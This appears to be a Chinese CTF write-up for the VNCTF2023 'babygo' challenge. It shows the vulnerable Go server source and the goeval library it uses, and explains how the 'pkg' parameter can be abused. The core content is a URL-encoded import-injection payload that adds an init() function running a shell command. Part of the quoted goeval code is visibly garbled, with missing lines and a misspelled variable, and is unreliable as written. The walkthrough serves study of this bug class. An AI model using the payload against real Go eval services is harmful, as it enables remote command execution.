VNCTF2023 babygo backdoor部分payload详解

        看了几个人的vnctf2023的web复现,我觉得部分人可能会觉得backdoor部分的payload有点难理解,这里帮他们补充一下,先上源码

package main

import (
	"encoding/gob"
	"fmt"
	"github.com/PaulXu-cn/goeval"
	"github.com/duke-git/lancet/cryptor"
	"github.com/duke-git/lancet/fileutil"
	"github.com/duke-git/lancet/random"
	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"net/http"
	"os"
	"path/filepath"
	"strings"
)

type User struct {
	Name  string
	Path  string
	Power string
}

func main() {
	r := gin.Default()
	store := cookie.NewStore(random.RandBytes(16))
	r.Use(sessions.Sessions("session", store))
	r.LoadHTMLGlob("template/*")

	r.GET("/", func(c *gin.Context) {
		userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
		session := sessions.Default(c)
		session.Set("shallow", userDir)
		session.Save()
		fileutil.CreateDir(userDir)
		gobFile, _ := os.Create(userDir + "user.gob")
		user := User{Name: "ctfer", Path: userDir, Power: "low"}
		encoder := gob.NewEncoder(gobFile)
		encoder.Encode(user)
		if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
			c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
			return
		}
		c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
	})

	r.GET("/upload", func(c *gin.Context) {
		c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
	})

	r.POST("/upload", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		fileutil.CreateDir(userUploadDir)
		file, err := c.FormFile("file")
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
			return
		}
		ext := file.Filename[strings.LastIndex(file.Filename, "."):]
		if ext == ".gob" || ext == ".go" {
			c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
			return
		}
		filename := userUploadDir + file.Filename
		if fileutil.IsExist(filename) {
			fileutil.RemoveFile(filename)
		}
		err = c.SaveUploadedFile(file, filename)
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
			return
		}
		c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
	})

	r.GET("/unzip", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		files, _ := fileutil.ListFileNames(userUploadDir)
		destPath := filepath.Clean(userUploadDir + c.Query("path"))
		for _, file := range files {
			if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
				err := fileutil.UnZip(userUploadDir+file, destPath)
				if err != nil {
					c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
					return
				}
				fileutil.RemoveFile(userUploadDir + file)
			}
		}
		c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
	})
	r.GET("/backdoor", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userDir := session.Get("shallow").(string)
		if fileutil.IsExist(userDir + "user.gob") {
			file, _ := os.Open(userDir + "user.gob")
			decoder := gob.NewDecoder(file)
			var ctfer User
			decoder.Decode(&ctfer)
			if ctfer.Power == "admin" {
				eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))//DefaultQuery给请求参数赋默认值
				if err != nil {
					fmt.Println(err)
				}
				c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
				return
			} else {
				c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
				return
			}
		} else {
			c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
			return
		}
	})

	r.Run(":80")
}

        提权部分就不多说了,主要是针对下面这块代码,拿到admin权限之后就会执行,goeval的eval函数,如果不给query传参的话,就是简单的调用fmt库的printfln函数输出good。这里我们可控的参数就只有pkg,所以想想能不能利用eval函数的来进行命令注入

if ctfer.Power == "admin" {
	    eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
	    if err != nil {
		    fmt.Println(err)
			}

        这里我去github找了一下goeval的源码,贴在下面了

package goeval

import (
	"fmt"
	"go/format"
	"math/rand"
	"os"
	"os/exec"
	"strings"
	"time"
)

const (
	letterBytes = "abcdefghijklmnopqrstuvwxyz"
	letterIdxBits = 6                    // 6 bits to represent a letter index
	letterIdxMask = 1<= 0; {
		if remain == 0 {
			cache, remain = src.Int63(), letterIdxMax
		}
		if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
			b[i] = letterBytes[idx]
			i--
		}
		cache >>= letterIdxBits
		remain--
	}
	return string(b)
}

func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
	var (
		tmp = `package main
%s
%s
func main() {
%s
}
`
		importStr string
		fullCode string
	 	newTmpDir = tempDir + dirSeparator + RandString(8)
	)

	if 0 < len(imports) {
		importStr = "import ("
		for _, item := range imports {
			if blankInd := strings.Index(item, " "); -1 < blankInd {
				importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
			} else {
				importStr += fmt.Sprintf("\n\"%s\"", item)
			}
		}
		importStr += "\n)"
	}
	fullCode = fmt.Sprintf(tmp, ipomrtStr, defineCode, code)

	var codeBytes = []byte(fullCode)
	// 格式化输出的代码
	if formatCode, err := format.Source(codeBytes); nil == err {
		// 格式化失败,就还是用 content 吧
		codeBytes = formatCode
	}

	// 创建目录
	if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
		return
	}
	defer os.RemoveAll(newTmpDir)
	// 创建文件
	tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
	if err != nil {
		return re, err
	}
	defer os.Remove(tmpFile.Name())
	// 代码写入文件
	tmpFile.Write(codeBytes)
	tmpFile.Close()
	// 运行代码
	cmd := exec.Command("go", "run", tmpFile.Name())
	res, err := cmd.CombinedOutput()
	return res, err
}

        因为goeval的源码有注释了,这里不细讲每一部分的作用,主要讲讲下面这个部分,找到我们可控参数pkg的部分,对应eval函数里的imports变量。


    if 0 < len(imports) {
		importStr = "import ("
		for _, item := range imports {
			if blankInd := strings.Index(item, " "); -1 < blankInd {
				importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
			} else {
				importStr += fmt.Sprintf("\n\"%s\"", item)
			}
		}
		importStr += "\n)"
	}

        可以看到importStr变量是通过字符串拼接而成的,item会获取imports整个字符串,当index函数检测到" "时,就会以" "为界,分别输出前和后的内容,下图为输入"aaa bbbb cccc"的结果。为了使注入的内容不受引号变化的影响,payload就不使用空格,用\n和\t来防止格式错乱 

VNCTF2023 babygo backdoor部分payload详解_第1张图片

        下面再说说go语言中的init()函数,它具有先于main()函数执行的特性,所以可以想到,能否通过将init()函数嵌入importStr中,并让其执行我们需要的命令。仿照源码的运行代码部分,可以先写出下面的代码

        

package main

import (
	"fmt"
	"os/exec"
	)
	
func init(){
	cmd := exec.Command("ls", "/")
	res, err := cmd.CombinedOutput()
	fmt.Println(string(res))
	fmt.Println(err)
}
//定义a闭合\n)
var( a="a

        接下来需要截取我们需要的payload,如下

fmt"
	"os/exec"
	)
	
func init(){
	cmd := exec.Command("ls", "/")
	res, err := cmd.CombinedOutput()
	fmt.Println(string(res))
	fmt.Println(err)
}
var( a="a

        最后还需要进行拼接,由于需要保留payload当中的换行符和空格符(使用制表符替换),%0a和%09分别使网页换行符和制表符的url码,接下来就需要将所有换行和空格符用%0a和%09替换,最后的pkg的payload如下,传参后就出结果啦。

fmt"%0a"os/exec"%0a)%0afunc%09init(){%0acmd:=exec.Command("ls","/")%0ares,err:=cmd.CombinedOutput()%0afmt.Println(string(res))%0afmt.Println(err)%0a}%0avar(%09a="a

 VNCTF2023 babygo backdoor部分payload详解_第2张图片

        还有一些大佬是直接把库函数println魔改了,这里就不赘述了,大家自行了解吧。

参考文章:PaulXu-cn/goeval: Evaluate Golang Code by the Eval Function (github.com)

你可能感兴趣的:(CTF,开发语言,golang)